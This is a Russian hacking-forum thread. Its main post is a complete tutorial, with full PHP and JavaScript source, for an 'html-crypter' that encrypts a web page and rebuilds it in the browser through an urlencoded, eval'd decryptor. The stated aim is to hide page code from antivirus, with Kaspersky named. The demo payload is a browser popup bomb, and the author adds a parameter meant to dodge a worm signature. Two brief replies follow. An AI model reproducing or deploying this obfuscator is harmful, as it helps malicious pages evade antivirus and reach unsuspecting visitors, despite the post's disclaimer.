Авторские статьи html-криптор на php

Discussion in 'Статьи' started by Ntkiller, 1 Jul 2007.

  1. Ntkiller

    Ntkiller New Member

    Joined:
    30 Jun 2007
    Messages:
    4
    Likes Received:
    4
    Reputations:
    0
    Внимание:
    Статья предназначена только для ознакомления, автор не несет ответственность за использование и распространение
    скриптов из этой статьи.

    Сегодня мы напишем html-криптор на php.

    Зачем это может пригодиться?
    Это может пригодится, если нужно скрыть исходный код страницы,
    или если антивирусу не нравится ваша страничка, а вы хотите чтобы он забыл о ней.
    Например:


    Code:
    <script language = javascript>
    function с(){
    var i=1;
    while (i < 10000){
    window. open("about:blank");
    i++;
    }
    }
    c();
    </script>
    
    Сохраните это в файл 1.html и каспера сразу закричит, что это запускать нельзя.

    Итак приступим:

    Для начала нам нужно загрузить файл в переменную

    Code:
    $file=join('',file('in.html'));
    Затем нам нужно записать содержимое файла в одну строчку

    $file=str_replace("\r\n",'',$file);
    $file=str_replace("\n",'',$file);

    Теперь в переменной $file находится содержимое in.html

    Затем его надо зашифровать, для этого создадим функцию шифрования:

    Code:
    function a($n)
    {
    	$q='';
    	$e='';
    	$p="OD&:x9T6H@fBAC#y_wgloSEb~K [chZei`a5z-{jv!Pk|r1mnYU}qV7/;pF]sXG=ILtQJ0u'2Md(4*";
    	for($l=0;$l<strlen($n);$l++)
    	{
      $o=$n[$l];
      $m=strpos($p,$o);
      if($m>-1)
      {
      	$z=(($m+1)-1);
      	if($z==79)
      	{
        $z =0;
      	}
      	$q .= $p[$z+1];
      } else {
      	$q.=$o;
      }
    	}
    	return $q;
    }
    
    Шифрование происходит следующим образом: каждый символ шифруемого кода ищется в ключе, и если находится то заменяется на следующий символ ключа.

    Code:
    $file=a($file);//эта строка вызывает функцию шифрования
    Теперь нам нужен расшифровщик на javascript

    Code:
    function decrypt(n)
    {
    	var l,ch,ind,q="",key="OD&:x9T6H@fBAC#y_wgloSEb~K [chZei`a5z-{jv!Pk|r1mnYU}qV7/;pF]sXG=ILtQJ0u\'2Md(4*";
    	for(l=0;l<n.length;l++)
    	{
      ch=n.charAt(l);
      ind=key.indexOf(ch);
      if(ind>-1)
      {
      	if(ind==0)
      	{
        ind =79
      	}
      	q+=key.charAt(ind-1)
      } else {
      	q+=ch
      }
    	};
    document.write(q)
    }
    
    Принцип действия я думаю понятен.

    Поместим расшифровщик в переменную $decrypt

    Также для работы криптора нужен инициализатор:

    Code:
    function load(code,dfunc)
    {
    	eval(dfunc);
    	decrypt(code);
    }
    
    Но похожий метод шифрования использовался в каком-то черве и каспера
    громко ругается на этот кусок кода, поэтому добавим еще один параметр
    инициализатору:

    Code:
    function load(code,dfunc,anticasp)
    {
    	eval(dfunc);
    	decrypt(code);
    }
    
    Ему мы передадим в параметрах зашифрованый код и код расшифровщикаю

    Для большей скрытности и усложнения анализа кода переведем исходник расшифровщика в шестнадцатиричный формат
    функцией urlencode,после этого заменим знаки плюса на пробелы.
    (это связано с тем, что urlencode выдает код, в котором вместо пробелов плюсы)

    Code:
    $decrypt=urlencode($decrypt);
    $decrypt=str_replace('+',' ',$decrypt);
    
    В данный момент в переменной $decrypt хранится расшифровщик, а в переменной $file зашифрованый файл, но в переменной $file
    есть одинарные кавычки, а они не дадут работать инициализатору (параметры ему будут передаваться тоже в одинарных кавычках),
    заменим их на \'

    Code:
    $file=str_replace("'","\'",$file);
    Нам осталось лишь сформировать исходный код зашифрованой страницы:

    Code:
    $cont="<script>function load(code,dfunc,anticasp){eval(dfunc);decrypt(code);}load('".$code."',unescape('".$decrypt."'));</script>";
    
    Исходный код станички сейчас находится в переменной $cont. В нем описывается функция инициализатора,
    затем инициализатору передаются зашифрованая информация и код расшифровщика, который преобразуется в обычный текст,
    расшифровщик eval'ится и запускается функция декодирования, находящаяся в нем, которая уже выводит расшифрованую информацию.


    Последнее, что нам нужно сделать - записать в файл исходный код страницы:

    Code:
    $file=fopen('out.htm','w');
    fputs($file,$cont);
    fclose($file);
    
    Вот полный код криптора:

    Code:
    <?
    function a($n)
    {
    	$p="OD&:x9T6H@fBAC#y_wgloSEb~K [chZei`a5z-{jv!Pk|r1mnYU}qV7/;pF]sXG=ILtQJ0u'2Md(4*";
    	$q='';
    	$e='';
    	for($l=0;$l<strlen($n);$l++)
    	{
      $o=$n[$l];
      $m=strpos($p,$o);
      if($m>-1)
      {
      	$z=(($m+1)-1);
      	if($z==79)
      	{
        $z =0;
      	}
      	$q .= $p[$z+1];
      } else {
      	$q.=$o;
      }
    	}
    	return $q;
    }
    $file=join('',file('in.html'));
    $file=str_replace("\r\n",'',$file);
    $file=str_replace("\n",'',$file);
    $file=a($file);
    $decrypt="function decrypt(n){var l,ch,ind,q=\"\",key=\"OD&:x9T6H@fBAC#y_wgloSEb~K [chZei`a5z-{jv!Pk|r1mnYU}qV7/;pF]sXG=ILtQJ0u\'2Md(4*\";for(l=0;l<n.length;l++){ch=n.charAt(l);ind=key.indexOf(ch);if(ind>-1){if(ind==0){ind =79}q+=key.charAt(ind-1)} else {q+=ch}};document.write(q)}";
    $decrypt=urlencode($decrypt);
    $decrypt=str_replace('+',' ',$decrypt);
    $file=str_replace("'","\'",$file);
    $cont="<script>function load(code,dfunc,anticasp){eval(dfunc);decrypt(code);}load('".$file."',unescape('".$decrypt."'));</script>";
    $file=fopen('out.htm','w');
    fputs($file,$cont);
    fclose($file);
    ?>
    
    Напоследок зашифруем код из начала статьи и убедимся, что он работает, а каспера молчит.

    В данном крипторе можно многое доработать, например сделать шифрование каждый раз разным ключом, добавить полиморфный движок,
    но это я оставляю вам.
    Криптор тестировался на ИЕ(Предупреждение) и Опере(Ok), Фаерфоксе(Ok).

    При копировании статьи или ее частей ссылка на автора объязательна. Автором являюсь я(ntkiller)
    Впервые опубликована на http://forum.pro-hack.ru/st2452.html Jun 9 2006

    P.S:Все комментарии из шифруемого скрипта надо удалять - иначе не работает.
    P.P.S:Повторяю, что статья предназначена только для ознакомления - не надо шифровать вредоносный код и впаривать
    его другим людям.
     
    3 people like this.
  2. .:EnoT:.

    .:EnoT:. Сексуальное чудовище

    Joined:
    29 May 2007
    Messages:
    803
    Likes Received:
    559
    Reputations:
    50
    И нафиг?
    Как уже написал invlose есть дофига энкодеров html кода, такие как например PHTML-Encoder (имхо один из лучших)
     
  3. Ni0x

    Ni0x Elder - Старейшина

    Joined:
    27 Aug 2006
    Messages:
    338
    Likes Received:
    157
    Reputations:
    37
    я так понял в статье основной упор сделан на скрытие от АВ, а не на сложности алгоритма шифровки